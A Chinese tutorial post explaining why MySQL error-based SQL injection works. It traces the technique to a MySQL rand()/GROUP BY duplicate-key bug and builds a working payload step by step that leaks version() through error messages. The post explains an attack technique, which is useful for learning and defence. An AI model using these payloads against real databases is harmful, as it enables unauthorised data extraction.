网站MYSQL数据库高级爆错注入原分析
国内只有一大堆高级爆错的利用代码 没人分析原因 这个是去官网查资料后分析给出的,需要的朋友可以参考下这里主要用了mysql的一个BUG ：http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.
重现过程:
SQL Code复制内容到剪贴板
use mysql;
create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
select left(rand(),3),a from r1 group by 1;
select left(rand(),3),a, count(*) from r1 group by 1;
select round(rand(1),1) ,a, count(*) from r1 group by 1;
于是便可以这样拿来爆错注入了。
复制代码代码如下:
select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>
尝试拿来实战
复制代码代码如下:
select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
提示错误 选择的列应该为一个。那么。我们换一下
复制代码代码如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>
复制代码代码如下:
1248 (42000): Every derived table must have its own alias
提示多表查询要有别名 那好办
复制代码代码如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
或者
复制代码代码如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
成功爆粗注入了.
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